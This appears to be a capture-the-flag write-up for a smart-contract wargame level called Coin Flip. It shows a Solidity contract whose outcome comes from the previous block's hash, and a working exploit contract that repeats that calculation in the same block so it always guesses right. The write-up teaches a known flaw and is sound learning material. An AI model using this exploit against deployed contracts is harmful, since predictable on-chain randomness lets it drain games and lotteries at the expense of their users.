Level 3 - Coin Flip ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Exploit
This exploit is possible because the coinflip isn't random but deterministic. By copying the same logic that's used to determine the result and executing it in the same block just before guessing, you can guess correctly every time.
Run the same calculation and use the result to call the CoinFlip contract already deployed.
make anvil-exploit-level-3
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
// ================================================================
// │ LEVEL 3 - COIN FLIP │
// ================================================================
contract CoinFlipGuess {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function flip(address _targetContractAddress) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return ICoinFlip(_targetContractAddress).flip(side);
}
}
Submit instance... 🥳
Completion Message
Notes
The real challenge is getting the script to run 10 times.
This was hard to do in foundry with a real blockchian, but would have been easy to test on anvil simply by advancing the block by one then calling it again.
Last updated